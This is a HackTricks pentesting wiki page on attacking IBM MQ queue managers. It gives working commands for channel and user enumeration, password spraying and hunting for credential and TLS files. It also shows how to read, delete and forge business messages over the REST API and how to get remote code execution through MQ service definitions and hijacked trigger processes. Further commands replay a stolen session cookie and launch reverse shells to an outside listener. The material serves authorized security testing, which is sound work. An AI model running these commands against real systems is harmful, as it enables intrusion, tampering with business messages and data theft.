1414-pentesting-ibmmq.md (33969B)
1 --- 2 title: "1414 - Pentesting IBM MQ" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/1414-pentesting-ibmmq.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/1414-pentesting-ibmmq.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 1414 - Pentesting IBM MQ 14 15 ## Basic information 16 17 IBM MQ is messaging middleware built around queue managers, queues, topics, channels, and related objects. It receives, stores, and forwards messages between producing and consuming applications; business processing and classification are normally performed by the connected applications or configured routing components.<sup>[[3]](#references)</sup> 18 19 IBM MQ examples and developer images commonly expose a queue-manager listener on TCP **1414**, but listener ports are configurable. When `mqweb` is enabled, the Console and REST APIs commonly use HTTPS **9443**. The IBM MQ container's optional Prometheus metrics endpoint commonly uses TCP **9157**; this is not a universal queue-manager protocol port.<sup>[[3]](#references)[[7]](#references)</sup> 20 21 What a client can do through an MQ listener depends on the selected `SVRCONN` channel, CHLAUTH mapping, authentication, and Object Authority Manager (OAM) permissions. A highly privileged identity may manipulate messages and administer queue-manager objects; an ordinary application identity should be much more restricted. 22 23 IBM provides a large technical documentation available on [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).<sup>[[3]](#references)</sup> 24 25 ## Tools 26 27 A convenient assessment tool is **[punch-q](https://github.com/sensepost/punch-q)**, which uses the Python `pymqi` library and can also run from Docker.<sup>[[11]](#references)</sup> 28 29 For a more manual approach, use the Python library **[pymqi](https://github.com/dsuch/pymqi)**. [IBM MQ dependencies](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) are needed. 30 31 ### Installing pymqi 32 33 The following procedure is a **legacy IBM MQ 9.0.0.4 installation recipe** retained for reproducing older tooling environments. Prefer a current supported redistributable IBM MQ client for new labs; it is relocatable and does not require a system RPM installation.<sup>[[10]](#references)</sup> 34 35 1. Create an account (IBMid) on [https://login.ibm.com/](https://login.ibm.com/). 36 2. Download IBM MQ libraries from [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). For Linux x86_64 it is **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**. 37 3. Decompress (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`). 38 4. Run `sudo ./mqlicense.sh` to accept licenses terms. 39 40 > [!CAUTION] 41 > The historical workaround below disables the package's platform check. Use it only in a disposable lab with the matching archived package; for a normal system, use a supported client package instead. 42 > 43 > On the old Kali setup, the workaround was to modify `mqlicense.sh` and remove/comment these lines: 44 > 45 > ```bash 46 > if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] 47 > then 48 > echo "ERROR: This package is incompatible with this system" 49 > echo " This package was built for ${BUILD_PLATFORM}" 50 > exit 1 51 > fi 52 > ``` 53 54 5. Install these packages: 55 56 ```bash 57 sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm 58 sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm 59 sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm 60 ``` 61 62 6. Temporarily add the client shared libraries to the loader path before running dependent tools: `export LD_LIBRARY_PATH=/opt/mqm/lib64`. 63 64 Then, you can clone the project [**pymqi**](https://github.com/dsuch/pymqi): it contains interesting code snippets, constants, ... Or you can directly install the library with: `pip install pymqi`. 65 66 ### Using punch-q 67 68 #### With Docker 69 70 Simply use: `sudo docker run --rm -ti leonjza/punch-q`. 71 72 #### Without Docker 73 74 Clone the project [**punch-q**](https://github.com/sensepost/punch-q) then follow the readme for installation (`pip install -r requirements.txt && python3 setup.py install`). 75 76 After, it can be used with `punch-q` command. 77 78 ## Enumeration 79 80 You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**.<sup>[[1]](#references)</sup> 81 82 If TCP/1414 is filtered or the target only exposes the embedded web server, check **TCP/9443** too. Recent IBM MQ versions expose the **IBM MQ Console / REST API** there by default when `mqweb` is enabled, and the administrative REST endpoint can execute arbitrary **MQSC** commands if you have valid credentials.<sup>[[3]](#references)</sup> 83 84 Do not assume that every successful `mqweb` login unlocks the same surface. In IBM MQ, `MQWebAdmin` / `MQWebAdminRO` cover the **administrative** REST API, but the **messaging** REST API requires `MQWebUser` plus the underlying OAM rights on queues or topics. Also, from **9.4.0**, `mqweb` can run as a **stand-alone IBM MQ Web Server** on Linux: in that deployment the **messaging** REST API can still front remote queue managers while the **administrative** REST API is unavailable. Therefore, a dead or missing `/admin/` path does **not** mean `/messaging/` is absent.<sup>[[3]](#references)</sup> 85 86 Do not limit yourself to the administrative REST API. IBM also exposes a **messaging REST API** on the same listener, so valid `mqweb` credentials can be enough to:<sup>[[5]](#references)</sup> 87 88 - **browse** messages from a queue with `GET /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message` 89 - **destructively get** messages with `DELETE /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message` 90 - **put** attacker-controlled messages with `POST /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message` 91 92 That matters in real environments where **1414** is ACL-restricted but the web console on **9443** is reachable from jump hosts, VPN ranges, or Kubernetes ingress. 93 94 ### Queue Manager 95 96 Sometimes, there is no protection against getting the Queue Manager name: 97 98 ```bash 99 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name 100 Queue Manager name: MYQUEUEMGR 101 ``` 102 103 ### Channels 104 105 **punch-q** is using an internal (modifiable) wordlist to find existing channels. Usage example: 106 107 ```bash 108 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels 109 "DEV.ADMIN.SVRCONN" exists and was authorised. 110 "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. 111 "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. 112 ``` 113 114 Some IBM MQ instances or developer channels accept connections without an application-supplied username/password; in that case omit the credential options. The channel can still map the connection to a local identity, and OAM rights determine subsequent access. 115 116 As soon as we get one channel name (here: `DEV.ADMIN.SVRCONN`), we can enumerate all other channels.<sup>[[2]](#references)</sup> 117 118 The enumeration can basically be done with this code snippet `code/examples/dis_channels.py` from **pymqi**: 119 120 ```python 121 import logging 122 import pymqi 123 124 logging.basicConfig(level=logging.INFO) 125 126 queue_manager = 'MYQUEUEMGR' 127 channel = 'DEV.ADMIN.SVRCONN' 128 host = '172.17.0.2' 129 port = '1414' 130 conn_info = '%s(%s)' % (host, port) 131 user = 'admin' 132 password = 'passw0rd' 133 134 prefix = '*' 135 136 args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} 137 138 qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) 139 pcf = pymqi.PCFExecute(qmgr) 140 141 try: 142 response = pcf.MQCMD_INQUIRE_CHANNEL(args) 143 except pymqi.MQMIError as e: 144 if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: 145 logging.info('No channels matched prefix `%s`' % prefix) 146 else: 147 raise 148 else: 149 for channel_info in response: 150 channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] 151 logging.info('Found channel `%s`' % channel_name) 152 153 qmgr.disconnect() 154 155 ``` 156 157 ... But **punch-q** also embed that part (with more infos!). 158 It can be launch with: 159 160 ```bash 161 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' 162 Showing channels with prefix: "*"... 163 164 | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | 165 |----------------------|-------------------|---------|-----------|------------|-----------------|------------| 166 | DEV.ADMIN.SVRCONN | Server-connection | | | | | | 167 | DEV.APP.SVRCONN | Server-connection | app | | | | | 168 | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | 169 | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | 170 | SYSTEM.DEF.AMQP | AMQP | | | | | | 171 | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | 172 | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | 173 | SYSTEM.DEF.RECEIVER | Receiver | | | | | | 174 | SYSTEM.DEF.REQUESTER | Requester | | | | | | 175 | SYSTEM.DEF.SENDER | Sender | | | | | | 176 | SYSTEM.DEF.SERVER | Server | | | | | | 177 | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | 178 | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | 179 ``` 180 181 ### Users / password spraying 182 183 Once you know a valid `SVRCONN` channel, **punch-q** has a `discover users` mode for testing candidate IBM MQ credentials against that channel. This can lock accounts or trigger monitoring, so use a small approved candidate set and honor the target's rate/lockout policy. 184 185 ```bash 186 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover users --channel DEV.ADMIN.SVRCONN 187 ``` 188 189 IBM MQ can validate supplied identities against the local operating system or LDAP, and applications may also present service-account credentials. When choosing an explicitly approved candidate set, include documented operating-system, directory, and service-account credentials that may have been reused for MQ; do not assume reuse.<sup>[[12]](#references)</sup> 190 191 A TLS error instead of authorization reason code `2035` can indicate that the candidate channel exists but requires a compatible `SSLCIPH` and possibly client-certificate material. Corroborate this because gateways can normalize errors. 192 193 If the channel list shows a non-empty **SSL Cipher**, or `punch-q` says a channel "wants SSL", shift to **client-artifact looting** instead of blind spraying. IBM MQ clients can inherit channel and TLS settings from a **CCDT** (`AMQCLCHL.TAB` or JSON), `mqclient.ini`, and a key repository. Hunt for `MQCCDTURL`, `MQCHLLIB`, `MQCHLTAB`, `mqclient.ini`, `*.kdb`, `*.sth`, and `*.p12` files in application servers, CI jobs, containers, or Kubernetes Secrets. Recent IBM MQ versions also support **HTTPS-hosted CCDTs**, so a leaked `MQCCDTURL=https://...` can be enough to recover queue-manager names, channel names, hosts, ports, and TLS requirements without first touching the MQ server itself. 194 195 ### CHLAUTH / OAM recon 196 197 A lot of "it connects but returns `2035`" cases are caused by **CHLAUTH** rules or by missing **OAM** permissions on the target objects. 198 199 If you already have administrative MQSC access, `MATCH(RUNCHECK)` is the fastest way to understand which rule will be applied to a remote connection: 200 201 ```bash 202 echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \ 203 | runmqsc MYQUEUEMGR 204 ``` 205 206 Through the REST admin endpoint on `9443`, the same check can be done remotely: 207 208 ```bash 209 curl -sku 'admin:passw0rd' \ 210 -H 'ibm-mq-rest-csrf-token: anything' \ 211 -H 'Content-Type: text/plain;charset=utf-8' \ 212 --data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \ 213 https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc 214 ``` 215 216 If you have enough rights to use PCF remotely, IBM exposes `MQCMD_INQUIRE_CHLAUTH_RECS`, which returns the channel authentication records and their mappings to `MCAUSER`. That is useful to confirm whether a channel maps remote users to a more privileged local account before trying message access, object creation, or service abuse. 217 218 ### Effective authorities 219 220 Once you have a working identity, spend a minute checking **what that principal can really do** before assuming a failed PCF request means "wrong credentials". IBM documents three complementary ways to inspect OAM permissions:<sup>[[3]](#references)</sup> 221 222 - `DISPLAY AUTHREC` over MQSC 223 - `dspmqaut` on the host 224 - `MQCMD_INQUIRE_ENTITY_AUTH` over PCF 225 226 The practical offensive value is high because many remote-admin actions depend on a small set of system objects. For example, PCF administration usually needs the ability to put a command onto `SYSTEM.ADMIN.COMMAND.QUEUE` and to create/read the dynamic reply queue derived from `SYSTEM.DEFAULT.MODEL.QUEUE`. 227 228 With MQSC access: 229 230 ```bash 231 echo "DISPLAY AUTHREC PROFILE(SYSTEM.ADMIN.COMMAND.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \ 232 | runmqsc MYQUEUEMGR 233 234 echo "DISPLAY AUTHREC PROFILE(SYSTEM.DEFAULT.MODEL.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \ 235 | runmqsc MYQUEUEMGR 236 ``` 237 238 Via the REST admin endpoint: 239 240 ```bash 241 curl -sku 'admin:passw0rd' \ 242 -H 'ibm-mq-rest-csrf-token: anything' \ 243 -H 'Content-Type: text/plain;charset=utf-8' \ 244 --data "DISPLAY AUTHREC PROFILE(SYSTEM.ADMIN.COMMAND.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \ 245 https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc 246 ``` 247 248 If you later obtain shell access on the MQ host, `dspmqaut` gives the same answer without going through MQSC: 249 250 ```bash 251 dspmqaut -m MYQUEUEMGR -t queue -n SYSTEM.ADMIN.COMMAND.QUEUE -p app 252 dspmqaut -m MYQUEUEMGR -t queue -n SYSTEM.DEFAULT.MODEL.QUEUE -p app 253 ``` 254 255 ### Queues 256 257 There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** permits to retrieve more pieces of info about the queues: 258 259 ```bash 260 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' 261 Showing queues with prefix: "*"... 262 | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | 263 | | | | | | GR Name | eue Nam | | 264 | | | | | | | e | | 265 |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| 266 | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | 267 | 0 18.35.1 | E | | | | | | | 268 | 9 | | | | | | | | 269 | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | 270 | 0 18.35.1 | | | | | | | | 271 | 9 | | | | | | | | 272 | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | 273 | 0 18.35.1 | | | | | | | | 274 | 9 | | | | | | | | 275 | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | 276 | 0 18.35.1 | | | | | | | | 277 | 9 | | | | | | | | 278 # Truncated 279 ``` 280 281 ### Topics / subscriptions 282 283 IBM MQ also supports publish/subscribe. With administrative rights, an **administrative subscription** can route publications matching a topic string into a destination queue for later inspection.<sup>[[8]](#references)</sup> 284 285 > [!CAUTION] 286 > Defining a queue/subscription changes queue-manager state and may capture sensitive production traffic. Use the following commands only in an authorized lab or with explicit approval and remove the created objects afterward. 287 288 Quick recon examples: 289 290 ```bash 291 echo "DISPLAY TOPIC(*) TOPICSTR" | runmqsc MYQUEUEMGR 292 echo "DISPLAY SUB(*) ALL" | runmqsc MYQUEUEMGR 293 ``` 294 295 Create a queue and durable wildcard subscription for a whole topic tree: 296 297 ```bash 298 echo "DEFINE QLOCAL(HACK.SUBQ) REPLACE" | runmqsc MYQUEUEMGR 299 echo "DEFINE SUB(HACK.SUB) TOPICSTR('dev/#') DEST(HACK.SUBQ) DESTCLAS(PROVIDED) WSCHEMA(TOPIC) REPLACE" | runmqsc MYQUEUEMGR 300 ``` 301 302 From there, matching publications arrive on `HACK.SUBQ` like ordinary queue messages. If `1414` is blocked but the admin REST API on `9443` is reachable, the same MQSC can be sent through `/ibmmq/rest/v3/admin/action/qmgr/<qmgr>/mqsc`. Application `pub`/`sub` rights alone do not normally grant authority to define administrative objects. 303 304 ## Exploit 305 306 ### Dump messages 307 308 You can target queue(s)/channel(s) to sniff out / dump messages from them (non-destructive operation).<sup>[[1]](#references)</sup> _Examples:_ 309 310 ```bash 311 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff 312 ``` 313 314 ```bash 315 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump 316 ``` 317 318 Assess every in-scope queue, but use browse/non-destructive operations first and avoid consuming production messages. 319 320 ### Dump / put messages through `9443` 321 322 If you only have access to the embedded web server, the **messaging REST API** can still be enough to browse, steal, replay, or delete business messages without touching the MQ client port.<sup>[[5]](#references)</sup> 323 324 Browse the next message non-destructively: 325 326 ```bash 327 curl -sku 'app:passw0rd' \ 328 https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message 329 ``` 330 331 Destructively get the next message: 332 333 ```bash 334 curl -sku 'app:passw0rd' \ 335 -X DELETE \ 336 -H 'ibm-mq-rest-csrf-token: anything' \ 337 https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message 338 ``` 339 340 Inject a forged message: 341 342 ```bash 343 curl -sku 'app:passw0rd' \ 344 -X POST \ 345 -H 'ibm-mq-rest-csrf-token: anything' \ 346 -H 'Content-Type: text/plain;charset=utf-8' \ 347 --data 'hacktricks-test' \ 348 https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message 349 ``` 350 351 This is useful when: 352 353 - `1414` is not reachable from your workstation 354 - the environment routes the MQ Console through a reverse proxy or ingress controller 355 - you want to validate **message tampering** separately from **administrative** rights 356 357 The same listener can also publish directly to a **topic string**, which is useful when the target application consumes pub/sub messages instead of local queues:<sup>[[5]](#references)</sup> 358 359 ```bash 360 curl -sku 'app:passw0rd' \ 361 -X POST \ 362 -H 'ibm-mq-rest-csrf-token: anything' \ 363 -H 'Content-Type: text/plain;charset=utf-8' \ 364 --data 'approved=true' \ 365 https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/topic/dev/orders/message 366 ``` 367 368 ### Code execution 369 370 > Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). 371 > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programmable Command Formats_**) is what we are focused on to interact remotely with the instance. **punch-q** and furthermore **pymqi** are based on PCF interactions. 372 > 373 > You can find a list of PCF commands: 374 > 375 > - [From PCF documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), and 376 > - [from constants](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). 377 > 378 > One interesting command is `MQCMD_CREATE_SERVICE` and its documentation is available [here](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). It takes as argument a `StartCommand` pointing to a local program on the instance (example: `/bin/sh`). 379 > 380 > There is also a warning of the command in the docs: _"Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files."_ 381 > 382 > IBM MQ also exposes an HTTP endpoint at `/admin/action/qmgr/{qmgrName}/mqsc` for equivalent MQSC commands such as `DEFINE SERVICE`; the REST workflow is shown below. 383 384 If **MQ Console / REST API** credentials are available, you can often reach the same administrative primitives over HTTPS on **9443** without using the MQ client libraries. IBM documents `/ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc` as an endpoint that accepts **plain-text MQSC** or **JSON** commands.<sup>[[4]](#references)</sup> 385 386 The service creation / deletion with PCF for remote program execution can be done by **punch-q**: 387 388 **Example 1** 389 390 ```bash 391 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" 392 ``` 393 394 > In the logs of IBM MQ, you can read the command is successfully executed: 395 > 396 > ```bash 397 > 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] 398 > ``` 399 400 You can also enumerate existing programs on the machine (here `/bin/doesnotexist` ... does not exist): 401 402 ```bash 403 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg 404 s "whatever" 405 Command: /bin/doesnotexist 406 Arguments: -c id 407 Service Name: 6e3ef5af652b4436 408 409 Creating service... 410 Starting service... 411 The program '/bin/doesnotexist' is not available on the remote system. 412 Giving the service 0 second(s) to live... 413 Cleaning up service... 414 Done 415 ``` 416 417 Program launch is asynchronous, so observe its effect through an approved side channel such as a harmless file in a lab, application logs, or a controlled callback listener. 418 419 The same technique can be driven from the REST API: 420 421 ```bash 422 curl -sku 'admin:passw0rd' \ 423 -H 'ibm-mq-rest-csrf-token: anything' \ 424 -H 'Content-Type: text/plain;charset=utf-8' \ 425 --data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \ 426 https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc 427 428 curl -sku 'admin:passw0rd' \ 429 -H 'ibm-mq-rest-csrf-token: anything' \ 430 -H 'Content-Type: text/plain;charset=utf-8' \ 431 --data "START SERVICE(HACKTRICKS)" \ 432 https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc 433 434 curl -sku 'admin:passw0rd' \ 435 -H 'ibm-mq-rest-csrf-token: anything' \ 436 -H 'Content-Type: text/plain;charset=utf-8' \ 437 --data "DELETE SERVICE(HACKTRICKS)" \ 438 https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc 439 ``` 440 441 This is especially useful during assessments where: 442 443 - `9443` is reachable but `1414` is restricted to a smaller source range 444 - The target team manages IBM MQ mainly through the web console and has forgotten to harden the REST roles 445 - You want to avoid installing IBM MQ client libraries locally and only need MQSC-level administration 446 447 If the environment uses **token-based** authentication instead of HTTP Basic, IBM's `mqweb` login endpoint returns an **`LtpaToken2`** cookie that can be replayed on later requests until it expires (120 minutes by default). That means a stolen browser session or cookie jar can be enough for both message access and admin actions on `9443`.<sup>[[6]](#references)</sup> 448 449 ```bash 450 curl -sk -c /tmp/mq.cookies \ 451 -H 'Content-Type: application/json' \ 452 --data '{"username":"admin","password":"passw0rd"}' \ 453 https://TARGET:9443/ibmmq/rest/v3/login 454 455 curl -sk -b /tmp/mq.cookies \ 456 -H 'ibm-mq-rest-csrf-token: anything' \ 457 -H 'Content-Type: text/plain;charset=utf-8' \ 458 --data "DISPLAY QMGR ALL" \ 459 https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc 460 ``` 461 462 ### Trigger-based program launch 463 464 `DEFINE SERVICE` is not the only path to code execution. IBM MQ **triggering** can start an application when a message lands on a queue, so environments that already rely on trigger monitors can sometimes be abused by swapping the `PROCESS` object tied to a triggered queue.<sup>[[9]](#references)</sup> 465 466 Start with recon: 467 468 ```bash 469 echo "DISPLAY QLOCAL(*) INITQ PROCESS TRIGGER TRIGTYPE" | runmqsc MYQUEUEMGR 470 echo "DISPLAY PROCESS(*) APPLICID APPLTYPE USERDATA" | runmqsc MYQUEUEMGR 471 ``` 472 473 If you find a queue with a live `INITQ`, the following lab sequence demonstrates the risk of replacing its process association: 474 475 > [!CAUTION] 476 > `ALTER QLOCAL` changes an existing application's behavior. Record the original attributes and run this only in a disposable lab or with explicit change approval; restore the queue and delete `HACKPROC` afterward. 477 478 ```bash 479 echo "DEFINE PROCESS(HACKPROC) REPLACE APPLTYPE(UNIX) APPLICID('/bin/sh') USERDATA('-c id >/tmp/mq.trigger')" | runmqsc MYQUEUEMGR 480 echo "ALTER QLOCAL(APP.INPUT) PROCESS(HACKPROC) TRIGGER TRIGTYPE(FIRST)" | runmqsc MYQUEUEMGR 481 ``` 482 483 Then put a message on `APP.INPUT` with **punch-q** or the messaging REST API to fire the trigger. This primitive depends on a **trigger monitor** actively serving the queue's `INITQ`; when it does, IBM documents that the triggered application runs under the user that started the trigger monitor (or the queue manager, depending on platform / setup). 484 485 **Example 2** 486 487 For easy reverse shell, **punch-q** proposes also two reverse shell payloads : 488 489 - One with bash 490 - One with perl 491 492 _Of course you can build a custom one with the `execute` command._ 493 494 For bash: 495 496 ```bash 497 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 498 ``` 499 500 For perl: 501 502 ```bash 503 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 504 ``` 505 506 ### Custom PCF 507 508 You can dig into the IBM MQ documentation and directly use **pymqi** python library to test specific PCF command not implemented in **punch-q**. 509 510 **Example:** 511 512 ```python 513 import pymqi 514 515 queue_manager = 'MYQUEUEMGR' 516 channel = 'DEV.ADMIN.SVRCONN' 517 host = '172.17.0.2' 518 port = '1414' 519 conn_info = '%s(%s)' % (host, port) 520 user = 'admin' 521 password = 'passw0rd' 522 523 qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) 524 pcf = pymqi.PCFExecute(qmgr) 525 526 try: 527 # Replace here with your custom PCF args and command 528 # The constants can be found in pymqi/code/pymqi/CMQCFC.py 529 args = {pymqi.CMQCFC.xxxxx: "value"} 530 response = pcf.MQCMD_CUSTOM_COMMAND(args) 531 except pymqi.MQMIError as e: 532 print("Error") 533 else: 534 # Process response 535 536 qmgr.disconnect() 537 538 ``` 539 540 If you cannot find the constant names, you can refer to the [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). 541 542 > _Example for [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). It needs the parameter `MQCA_CLUSTER_NAME` (Decimal = 2029) which can be `_` (Doc: ):\* 543 > 544 > ```python 545 > import pymqi 546 > 547 > queue_manager = 'MYQUEUEMGR' 548 > channel = 'DEV.ADMIN.SVRCONN' 549 > host = '172.17.0.2' 550 > port = '1414' 551 > conn_info = '%s(%s)' % (host, port) 552 > user = 'admin' 553 > password = 'passw0rd' 554 > 555 > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) 556 > pcf = pymqi.PCFExecute(qmgr) 557 > 558 > try: 559 > args = {2029: "*"} 560 > response = pcf.MQCMD_REFRESH_CLUSTER(args) 561 > except pymqi.MQMIError as e: 562 > print("Error") 563 > else: 564 > print(response) 565 > 566 > qmgr.disconnect() 567 > ``` 568 569 ## Testing environment 570 571 To test IBM MQ behavior safely, set up a local containerized environment: 572 573 1. Having an account on ibm.com and cloud.ibm.com. 574 2. Create a containerized IBM MQ with: 575 576 ```bash 577 sudo docker pull icr.io/ibm-messaging/mq:latest 578 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest 579 ``` 580 581 Here, the queue manager name has been set to `MYQUEUEMGR` (variable `MQ_QMGR_NAME`). 582 583 Recent **9.4.x** developer images changed the out-of-the-box behavior:<sup>[[7]](#references)</sup> 584 585 - `admin` and `app` are only created if you set their passwords 586 - IBM documents `MQ_ADMIN_PASSWORD` / `MQ_APP_PASSWORD` as **deprecated** from `9.4.0.0` 587 - The preferred way is to inject secrets named `mqAdminPassword` and `mqAppPassword` 588 589 For a quick local lab with Podman, you can create both users like this: 590 591 ```bash 592 printf 'passw0rd' | podman secret create mqAdminPassword - 593 printf 'passw0rd' | podman secret create mqAppPassword - 594 podman run --secret mqAdminPassword --secret mqAppPassword \ 595 -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \ 596 -p1414:1414 -p9157:9157 -p9443:9443 \ 597 --name testing-ibmmq icr.io/ibm-messaging/mq:latest 598 ``` 599 600 With the default developer configuration:<sup>[[7]](#references)</sup> 601 602 - `DEV.ADMIN.SVRCONN` only allows the `admin` user 603 - `DEV.APP.SVRCONN` is the application channel and the `app` user is the expected identity 604 